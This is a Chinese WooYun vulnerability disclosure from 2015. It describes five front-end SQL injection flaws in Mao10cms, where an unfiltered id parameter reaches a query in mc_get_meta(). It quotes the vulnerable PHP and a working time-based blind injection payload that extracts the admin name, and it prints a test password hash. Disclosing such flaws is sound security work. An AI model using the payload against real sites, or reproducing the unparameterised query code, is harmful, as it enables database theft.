当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0130089

漏洞标题:Mao10cms最新版前台注入5枚打包(有条件限制)

相关厂商:mao10.com

漏洞作者: 路人甲

提交时间:2015-07-29 15:16

修复时间:2015-10-31 20:02

公开时间:2015-10-31 20:02

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-29: 细节已通知厂商并且等待厂商处理中
2015-08-02: 厂商已经确认,细节仅向厂商公开
2015-08-05: 细节向第三方安全合作伙伴开放
2015-09-26: 细节向核心白帽子及相关领域专家公开
2015-10-06: 细节向普通白帽子公开
2015-10-16: 细节向实习白帽子公开
2015-10-31: 细节向公众公开

简要描述:

Mao10cms最新版前台注入5枚打包

详细说明:

0x00:写在前面
前面提了mao10cms(v3.5.2)的一个漏洞,审核大大没给通过,原因如下:
1、gpc=off是一个条件,应注明
说明:谢谢审核大大^_^ ,本漏洞的利用条件的确是gpc off。但是也要说明一点:mao10cms(v3.5.2)官方给出的该系统的安装环境需求为: PHP5.3+ & Mysql5.0+(见:http://www.mao10.com/article-66.html),而magic_quotes_gpc在PHP5.3.0中已经废弃并且在5.4.0中已经移除了。当然,这应该也还算是一个条件,因此,在这里也注明一下吧,gpc off 的情况下,该漏洞成立^_^ 。
2、这种漏洞不应该一个个的提交
说明:这次就打包提了,谢谢审核大大^_^ 
希望这次可以过^_^ ^_^ ^_^ ^_^ ^_^ 
Mao10cms用户量不小,2015-07-17更新的V3.5.3,今天来学习一下吧
0x01:这里有两个主要的方法使用不当,产生了漏洞,一个是mc_user_avatar(),另一个是mc_user_display_name(),下面分别分析
1、mc_user_avatar()引起的漏洞
一共有2个,分别位于/theme/default/public/head-uesr.php和/theme/mobile/public/head-user.php中,这里以/theme/default/public/head-user.php中的漏洞为例进行说明
注入点在加载用户头像时触发,我们来看看代码

<div class="user-head text-center">
<img class="user-avatar" src="<?php echo mc_user_avatar($_GET['id']); ?>" alt="<?php echo mc_user_display_name($_GET['id']); ?>">
<h3 class="title"><?php echo mc_user_display_name($_GET['id']); ?></h3>
<div class="description mb-20"><?php echo mc_cut_str(strip_tags(mc_get_page_field($_GET['id'],'content')), 200); ?></div>
<div class="clearfix"></div>
<?php echo mc_guanzhu_btn($_GET['id']); ?>
无关代码


看上面代码中看到mc_user_avatar($_GET['id']);去看看mc_user_avatar($_GET['id']);

//用户头像
function mc_user_avatar($page_id) {
$user_display_name = mc_get_meta($page_id,'user_avatar',true,'user');
if($user_display_name) {
return $user_display_name;
} else {
return mc_theme_url().'/img/avatar.png';
}
};


从上面的代码中可以看到,如执行mc_get_meta(),再去看看吧

//调用meta
function mc_get_meta($page_id,$meta_key,$array=true,$type='basic') {
$meta = M('meta')->where("page_id='$page_id' AND meta_key='$meta_key' AND type ='$type'")->order('id desc');
if($array) {
return $meta->getField('meta_value');
} else {
return $meta->getField('meta_value',true);
};
}


到这里可以看到了,从$_GET[‘id’]一直到$page_id,再带入sql语句执行,没有过滤,因此,这里存在注入。
下面以time-based blind注入进行证明
Payload(get提交):

id=2')union/**/select/**/if(mid((select/**/admin_name/**/from/**/pe_admin/**/limit/**/0,1),1,1)='z',sleep(1),0)%23


当猜测错误时,如下图

错误副本.jpg


当猜测正确时,如下图

成功副本.jpg


整个注入过程可以使用burpsuite 或者sqlmap 再或者自己写个脚本来跑,在本地进行测试,用户名为admin,密码为f6fdffe48c908deb0f4c3bd36c032e72
2、mc_user_display_name()引起的漏洞
一共有3个,分析位于/theme/default/article/single.php和/theme/default/public/head-user.php(两个),这里以/theme/default/article/single.php中的漏洞进行分析如下

<?php foreach($page as $val) : ?>
<div id="single-head-img" class="pr hidden-xs">
<div class="single-head-img shi1" style="background-image: url(<?php if(mc_fmimg($_GET['id'])) : echo mc_fmimg($_GET['id']); else : echo mc_theme_url().'/img/user_bg.jpg'; endif; ?>);"></div>
<div class="single-head-img shi2"></div>
<div class="single-head-img shi3">
<h1><?php echo mc_user_display_name($_GET['id']); ?></h1>
<h4><?php echo mc_cut_str(strip_tags(mc_magic_out(mc_get_page_field($_GET['id'],'content'))), 80); ?></h4>
</div>
</div>
<div class="container">
<div class="row">
<div class="col-sm-12 col-md-10 col-md-offset-1 col-lg-8 col-lg-offset-2">
<ul class="list-inline mb-0 article-brd">
<li>
<a href="<?php echo U('article/index/term?id='.mc_get_meta($val['id'],'term')); ?>">
<i class="glyphicon glyphicon-th-list"></i> <?php echo mc_get_page_field(mc_get_meta($val['id'],'term'),'title'); ?>
</a>
</li>
无关代码


去看看mc_user_display_name()方法的实现

function mc_user_display_name($page_id) {
$user_display_name = mc_get_page_field($page_id,'title');
if($user_display_name) {
return $user_display_name;
} else {
return mc_get_meta($page_id,'user_name',true,'user');
}
};


当$page_id为payload(不是正常的id)时,会进入else语句执行mc_get_meta(),跟进

function mc_get_meta($page_id,$meta_key,$array=true,$type='basic') {
$meta = M('meta')->where("page_id='$page_id' AND meta_key='$meta_key' AND type ='$type'")->order('id desc');
if($array) {
return $meta->getField('meta_value');
} else {
return $meta->getField('meta_value',true);
};
}


带入了sql语句执行,若gpc=off,可以完成注入,payload如上面的第一部分。

漏洞证明:

见 详细说明

修复方案:

过滤吧

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-08-02 20:01

厂商回复:

感谢指出

最新状态:

暂无


漏洞评价:

评论